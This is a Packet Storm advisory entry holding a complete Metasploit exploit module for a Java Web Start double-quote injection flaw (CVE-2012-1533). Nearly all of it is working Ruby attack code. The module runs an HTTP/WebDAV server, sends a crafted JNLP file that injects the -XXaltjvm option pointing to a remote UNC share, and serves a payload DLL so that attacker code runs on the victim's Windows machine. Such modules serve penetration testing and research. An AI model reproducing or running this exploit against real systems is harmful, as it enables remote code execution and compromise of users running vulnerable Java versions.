Sun Java Web Start Double Quote Injection

2013-06-13T00:00:00
ID PACKETSTORM:121998
Type packetstorm
Reporter Rh0
Modified 2013-06-13T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sun Java Web Start Double Quote Injection',  
'Description' => %q{  
This module exploits a flaw in the Web Start component of the Sun Java  
Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP  
file can contain a double quote which is not properly sanitized when creating  
the command line for javaw.exe. This allows the injection of the -XXaltjvm  
option to load a jvm.dll from a remote UNC path into the java process. Thus  
an attacker can execute arbitrary code in the context of a browser user.  
This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.  
  
In order for this module to work, it must be ran as root on a server that  
does not serve SMB. Additionally, the target host must have the WebClient  
service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing  
a jvm.dll can be specified with an own SMB server.  
},  
'Author' =>  
[  
# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs  
'Rh0 <rh0[at]z1p.biz>' # discovery and msf module  
],  
'References' =>  
[  
[ 'CVE', '2012-1533' ],  
[ 'OSVDB', '86348' ],  
[ 'BID' , '56046'],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],  
[ 'URL', 'http://pastebin.com/eUucVage ']  
],  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => '',  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"  
},  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 16 2012'  
))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),  
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),  
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])  
], self.class)  
end  
  
  
def auto_target(cli, request)  
agent = request.headers['User-Agent']  
  
ret = nil  
#print_status("Agent: #{agent}")  
# Check for MSIE and/or WebDAV redirector requests  
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/  
ret = targets[1]  
elsif agent =~ /MSIE (6|7|8)\.0/  
ret = targets[1]  
else  
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")  
end  
  
ret  
end  
  
  
def on_request_uri(cli, request)  
  
# For this exploit, this does little besides ensures the user agent is a recognized one..  
mytarget = target  
if target.name == 'Automatic'  
mytarget = auto_target(cli, request)  
if (not mytarget)  
send_not_found(cli)  
return  
end  
end  
  
# Special case to process OPTIONS for /  
if (request.method == 'OPTIONS' and request.uri == '/')  
process_options(cli, request, mytarget)  
return  
end  
  
# Discard requests for ico files  
if (request.uri =~ /\.ico$/i)  
send_not_found(cli)  
return  
end  
  
# If there is no subdirectory in the request, we need to redirect.  
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)  
if (request.uri == '/')  
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'  
else  
subdir = request.uri + '/'  
end  
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")  
send_redirect(cli, subdir)  
return  
else  
share_name = $1  
end  
  
# dispatch WebDAV requests based on method first  
case request.method  
when 'OPTIONS'  
process_options(cli, request, mytarget)  
when 'PROPFIND'  
process_propfind(cli, request, mytarget)  
when 'GET'  
process_get(cli, request, mytarget, share_name)  
when 'PUT'  
print_status("Sending 404 for PUT #{request.uri} ...")  
send_not_found(cli)  
else  
print_error("Unexpected request method encountered: #{request.method}")  
end  
  
end  
  
#  
# GET requests  
#  
def process_get(cli, request, target, share_name)  
  
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  
# dispatch based on extension  
if (request.uri =~ /\.dll$/i)  
#  
# DLL requests sent by IE and the WebDav Mini-Redirector  
#  
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
# Generate a DLL based on the payload  
dll_data = generate_payload_dll({ :code => p.encoded })  
# Send it :)  
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })  
elsif (request.uri =~ /\.jnlp$/i)  
#  
# Send the jnlp document  
#  
# Prepare the UNC path...  
if (datastore['UNCPATH'])  
unc = datastore['UNCPATH'].dup  
else  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
unc = "\\\\" + my_host + "\\" + share_name  
end  
  
# NOTE: we ensure there's only a single backslash here since it will get escaped  
if unc[0,2] == "\\\\"  
unc.slice!(0, 1)  
end  
  
# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to  
# inject a parameter into the command line of javaw.exe  
# codebase, href and application-desc parameters successfully suppress java splash  
jnlp_data = <<-EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">  
<information>  
<title>Download</title>  
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>  
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>  
</information>  
<resources>  
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />  
</resources>  
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />  
</jnlp>  
EOS  
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })  
else  
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")  
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))  
jnlp_path = get_resource()  
if jnlp_path[-1,1] != '/'  
jnlp_path << '/'  
end  
jnlp_path << request.uri.split('/')[-1] << '/'  
jnlp_path << jnlp_name << ".jnlp"  
send_redirect(cli, jnlp_path, '')  
end  
  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request, target)  
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  
headers = {  
#'DASL' => '<DAV:sql>',  
#'DAV' => '1, 2',  
'Allow' => 'OPTIONS, GET, PROPFIND',  
'Public' => 'OPTIONS, GET, PROPFIND'  
}  
send_response(cli, '', headers)  
end  
  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request, target)  
path = request.uri  
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  
body = ''  
  
if (path =~ /\.dll$/i)  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
#<lp1:getcontentlength>45056</lp1:getcontentlength>  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>  
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>  
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>  
<lp2:executable>F</lp2:executable>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))  
# Response for anything else (generally just /)  
print_status("Sending directory multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>  
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>  
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
else  
print_status("Sending 404 for #{path} ...")  
send_not_found(cli)  
return  
end  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
  
#  
# Make sure we're on the right port/path to support WebDAV  
#  
def exploit  
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
super  
end  
  
end  
`